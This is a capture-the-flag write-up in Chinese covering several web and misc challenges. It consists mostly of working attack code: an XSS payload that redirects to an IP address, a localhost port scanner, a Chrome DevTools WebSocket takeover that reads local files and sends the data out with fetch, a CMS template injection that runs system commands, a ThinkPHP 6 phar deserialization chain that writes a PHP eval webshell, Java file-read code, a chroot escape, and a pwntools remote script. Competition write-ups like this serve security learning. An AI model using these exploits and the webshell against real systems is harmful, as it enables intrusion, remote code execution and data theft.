Web#

dngs2010#

  1. 1.svg 可以查看 svg 源码,名称 1 没过滤存在 xss,payload:
    1
    /img/1111111"><%2Fimage><script>location.href="http:%2F%2F172.35.8.165:12345"<%2Fscript><image%20href=".jpg
  2. 考虑打 devtools,第一步爆破端口:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    <!doctype html>
    <html>
    <head>
    <title>XSS-1</title>
    </head>
    <body>
    <script>
    var thread = 50
    var start = 30000
    var end = 50000
    var per_thread = Math.floor(((end - start) + 1) / thread)
    var promises = []
    for (var i = 0; i < thread; i++) {
    var t_start = start + per_thread * i
    var t_end = t_start + per_thread
    console.log('interval: '+t_start+','+t_end)
    promises.push(new Promise((() => (resolve) => {
    for (var port = t_start; port < t_end; port++) {
    let script = document.createElement('script');
    script.src = 'http://127.0.0.1:'+port;
    script.onload = ((port) => () => resolve(port))(port);
    document.head.appendChild(script);
    }
    })(t_start, t_end)))
    }
    var openWindow = null
    Promise.any(promises).then((port) => {
    fetch('/findPort.php?port='+port)
    // location.href='http://xss.var.codes:'+port+'/parking.html'
    // openWindow = window.open('http://xss.var.codes:'+port+'/2.html?port='+port)
    })
    // while (true) {}
    </script>
    </body>
    </html>
  3. 得到端口后,利用扫描还未结束的期间,xss location.href='http://127.0.0.1:<port>/json/list',根据返回图片可以看到 devtools ws 的 sessionId,手抄下来
  4. 使用 WebSocket 连接 devtools api,发 Page.navigate,控制第一个 tab 到 file:///flag
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    <!doctype html>
    <html>
    <head>
    <title>XSS-3</title>
    </head>
    <body>
    <h1>XSS-3</h1>
    <script>
    ws=new WebSocket("ws://127.0.0.1:37207/devtools/page/1AAD387051DC0568FAF2BF315F6A8BD1")
    ws.onmessage = (e) => {
    fetch('/?ws_re='+e.data)
    }
    ws.onopen = () => {
    fetch('/?ws='+ws.readyState)
    ws.send(JSON.stringify({id:0,method:'Page.navigate',params:{url:'file:///flag'}}))
    }
    </script>
    </body>
    </html>
  5. 等待第一个请求返回图片,图片中为 flag

WarmupCMS#

  1. 在设置中设置附件上传的目录为 template,类型添加 htm
  2. 在模板设置中浏览模板,新建了目录 test
  3. 设置上传目录为 template/test
  4. 在文件上传功能上传下面 htm 模板
    1
    <!--{'system'|call_user_func:'/readflag > /var/www/html/flag.txt'}-->
    即利用 _run_modifier 功能调用 call_user_func 执行 system 调用 /readflag 保存至 webroot 的 flag.txt
  5. 在模板设置中设置首页模板为上传的 htm 文件
  6. 访问首页,多刷新几次,在 flag.txt 中得到 flag

easycms#

远端路由有点问题,用/?s=可以绕过。
app/api/controller/Base.php中upload函数存在文件上传逻辑,可以上传后缀名为jpg, png, mp4的文件。可以通过/?s=api/base/upload访问。
checkFileExists函数当给定filepath存在://时调用file_get_contents,可以触发phar反序列化
做法是上传后缀名为.jpg的phar文件,然后调用checkFileExists触发
上传需要构造jwt(expire_time改大点):

1
2
3
$jwt = Jwt::getInstance();
$jwt->setIss(config('my.jwt_iss'))->setAud(config('my.jwt_aud'))->setSecrect(config('my.jwt_secrect'))->setExpTime(config('my.jwt_expire_time'));
$token = $jwt->setUid($uid)->encode()->getToken();

反序列化POP链是TP6.0.x的任意文件写,写webshell,exp.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<?php
namespace League\Flysystem\Cached\Storage;#AbstractCache Adapter
use League\Flysystem\Adapter\Local;
abstract class AbstractCache{
protected $autosave = true;
protected $cache = [];
protected $complete = [];
function __construct(){
$this->autosave = false;
$this->cache = ['test'];
$this->complete = ["axin"=>"<?php eval(\$_REQUEST[cmd]);?>"];
}
}

class Adapter extends AbstractCache{
protected $adapter;
protected $file;
protected $expire = null;

function __construct(){
parent::__construct();
$this->adapter = new Local();
$this->file = "/var/www/html/public/phpinfo.php";
#$this->file = "://WampServer/www/tp/tp6.0.1/public/index.php"; #winsows下目录
$this->expire = 123;
}
}

namespace League\Flysystem\Adapter;
abstract class AbstractAdapter{
protected $pathPrefix;
function __construct(){
$this->pathPrefix = "/";
#$this->pathPrefix = "D"; #windows下目录
}
}
class Local extends AbstractAdapter{

}
use League\Flysystem\Cached\Storage\Adapter;
$o = new Adapter();
$phar = new \Phar("4.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($o);
$phar->addFromString("1.txt", "1");
$phar->stopBuffering();

spider#

函数调用功能,编写目录遍历/文件读取函数,新建一个爬虫在url里面用/?flag=${func()}调用带回
读文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
var InputStreamReader = Java.type("java.io.InputStreamReader");
var FileInputStream = Java.type("java.io.FileInputStream");
var File = Java.type("java.io.File");
var BufferedReader = Java.type("java.io.BufferedReader");
var file = new File("/etc/hosts");
var read = new InputStreamReader(new FileInputStream(file), "UTF-8");
var bufferedReader = new BufferedReader(read);
var text = '';
var result = '';
while ((text = bufferedReader.readLine()) != null) {
result += text;
}
return result;

列目录:用java.nio.file.Files即可,得到flag路径,读取即可。其中forEach遍历脚本引擎只支持function定义。

Misc#

babyjail#

  1. 用 baby:welcome 登录,删除 temp 目录时,authcode 被设为 1,重入循环,此时已经 chroot,且 suid 为 1000
  2. 伪造 etc/passwd 和 etc/shadow,使 uid 为 0,伪造 _allow_by_root 为对应 username,然后登录
  3. 此时 suid 为 0,即 root,传个 chw00t 上去用 -0 –dir=temp bypass chroot
  4. cat /flag

babydebug#

随便生成一个debug info文件,用pwntools发上去,就能进gdb了(挺玄学)
shell cat /flag得到flag

1
2
gcc test.c -o test -g
objcopy --only-keep-debug ./test test.debug
1
2
3
4
5
6
from pwn import *

p = remote('10.10.10.104', 9999)
f = open('test.debug', 'rb').read()
p.send(f)
p.interactive()